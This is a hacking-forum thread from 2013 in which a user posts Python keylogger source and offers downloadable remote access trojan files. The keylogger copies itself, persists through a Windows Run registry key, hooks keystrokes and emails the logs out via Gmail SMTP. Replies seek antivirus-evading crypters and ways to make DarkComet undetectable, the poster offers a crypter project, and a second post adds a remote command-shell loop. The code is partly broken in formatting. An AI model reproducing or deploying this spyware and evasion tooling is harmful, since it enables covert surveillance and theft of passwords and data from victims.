

Forum:[Hack Forums](#)

Thread: [Make own keylogger 100% FUD python](#)

jeetjain2345 - March 20, 2013, 8:04 am

PHP Code

```
<?php
#--
# Name: keylogger
# Purpose: Tutorial
#
# Author: jeetu
#
# Created: 04/01/2010
# Copyright: (c) jeetu 2012
#--

import sys
import os
import shutil
from _winreg import *
import smtplib
import pythoncom, pyHook
import smtplib
keylog=""

def main():
    pass
#module part

curntfile=sys.argv[0]    #currnt filie name
username=os.getenv('USERNAME')
dist="C:/Documents and Settings/"+username+"/regky"
servername="/setup.exe"
#NOTE IF U CHANG NAME HERE U HAVE TO CHANG NAME IN SET VALUE KEY BYE THE SA
ME ANME AND NEED TO RENAME FILE
if not os.path.isdir(dist):    #moving file to new directory
    os.mkdir(dist)
try:
    shutil.copy2(curntfile, dist+servername)
except:
    pass
    #editing file in registry key
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"System explore",0, REG_SZ, "C:\\Documents and Settings\\"+username+
"\regky\setup.exe" )

def OnKeyboardEvent(event):
```

```
global keylog
if event.Ascii ==8:
keylog+="[BakeSpace]"
keylog+=chr(event.Ascii)
if len(keylog)>200: #fix the bites size when u want to send mail
```

```
fromaddr = 'youremail@gmail.com'
toaddrs = 'youremail@gmail.com'
#provide gmail user name and password
username = 'youremail@gmail.com'
password = 'yourpassword'
# functions to send an email
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, keylog)
server.quit()
keylog=""
# return True to pass the event to other handlers
return True
```

```
if __name__ == '__main__':
    main()
    # create a hook manager
    hm = pyHook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    pythoncom.PumpMessages()
```

Well guys it is just a demo not complete tutorial
how to use and how to make an .exe for windows
how to make it FUD and invisible
and more of them i added only xp reg key add option
if get good response on it than will explain all the answer ??

What about an RAT 100% FUD ???

avijon - March 20, 2013, 1:09 pm

i need fud crypter,if you know about it something ? :D

jeetjain2345 - March 20, 2013, 11:55 pm

(Mar 20, 2013 01:09 PM)avijon Wrote: [\[CITE\]](#) i need fud crypter,if you know about it something ? :D
why u need crypter ?

crypter always detected by A/V soon so not a good idea well i had one i made year ago in vb that
time i tested on avg and few more av and that work fine now i don't know about detection rate but if
u real want to try that i will give u

more if u know programing in vb studio i will give u project modify and make as u need

SkyFer - March 21, 2013, 8:24 am

So how to make a rat 100% FUD ? O.o I really need to do that with darkcomet 5.3

.bLue - March 21, 2013, 8:37 am

would like to know how to make a rat fud :)

jeetjain2345 - March 22, 2013, 12:30 am

i did not mean to make other RAT fud i had one in python which is FUD 100% tested

i will give test file for both listener and Clint try that on any AV that will be not detected as virus

lowkasen - March 22, 2013, 1:32 am

How to make rat 100% fud??? really want to know that

jeetjain2345 - March 22, 2013, 1:56 am

Here is demo test server and test shell

keep enable ur AV what ever u have

open extract Testserver.zip and open that file and enter ur localhost 127.0.0.1 as host and a port which u like to listen like 80 4444 or any thing

extract testshell some where now open shell file and enter Localhost 127.0.0.1 as host enter same port where u listening

for learning purpose i kept shell file visible so when u close shell file it will be close now try to excute all cmd commands from server file and that will give u response added few more command lines like u can move dir with cd path

u can upload file with upload filename remember u can upload files where ur server is running i mean if server is running on ur desktop u can upload anyfile from desktop and file will be uploaded in that folder where is shell running

u can download file
download filename

if u want to remove it from your system go to your current user dir and there will be one dir as regkey delet that so when u

restart pc it will be not execute automatic if u wont delet regkey than each time when u restart ur pc shell will be excute automatic

because shell is visible and this is not real attacking file it just a test

u can capture screenshot of ur slave pc as well as and u can upload any file execute delete and much more

hope this will help i know its a short description but will give u idea about python programing

<http://www.mediafire.com/?8cp3c93gxjbttx7> test shell

<http://www.mediafire.com/?k50n0rhc599vs10> server file

server or listener for attacker to listen connection back

shell for slave pc which will give connection back to attacker where attacker is listening

Note: this will not harm your pc at all and it is just test me thinking to create a new thread where every one can learn about how to make own project

#Skyline - March 22, 2013, 4:58 am

This would not be your source. Stop spreading around useless material you're claiming is yours.

Im gone brah - March 22, 2013, 5:00 am

(Mar 22, 2013 04:58 AM)#Skyline Wrote: [\[CITE\]](#) This would not be your source. Stop spreading around useless material you're claiming is yours.

Indeed, ?

,Regards

-Limpa124?

don't leach, atleast not without credits?

jeetjain2345 - March 22, 2013, 5:47 am

(Mar 22, 2013 04:58 AM)#Skyline Wrote: [\[CITE\]](#) This would not be your source. Stop spreading around useless material you're claiming is yours.

Bro agree with you but i added more function in that all feature need to control over target pc. No one can make anything without reading about the concept, if u will get few line of code and made a application for u what u will say that me posting the line only which i got from google

PHP Code

```
<?php
import subprocess
while True:
    command=raw_input("CMD> ")
    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.
PIPE, stdin=subprocess.PIPE)
    # read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    print stdout_value
```

if u know socket, how to send and receive data u can create what u want with this hope u understand and for this line where from i took even i don't remember its long been so whom i should give credit and am not giving credit myself

if u mean with this line

means credit to me so i want to tell u i do use pyscripter for coding in python and this is already added to pyscripter no need to write it

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```

Mapple - March 22, 2013, 10:43 am

I'm not sure why you would want a keylogger in Python, but good tutorial anyway!

SONY123 - March 22, 2013, 11:27 am

I have the same idea, too make a own keylogger. Doesnt work yet :(

jeetjain2345 - March 22, 2013, 11:51 pm

(Mar 22, 2013 11:27 AM)SONY123 Wrote: [\[CITE\]](#) I have the same idea, too make a own keylogger.

Doesnt work yet :(
this is working but its not full code full detail how to use it will post it soon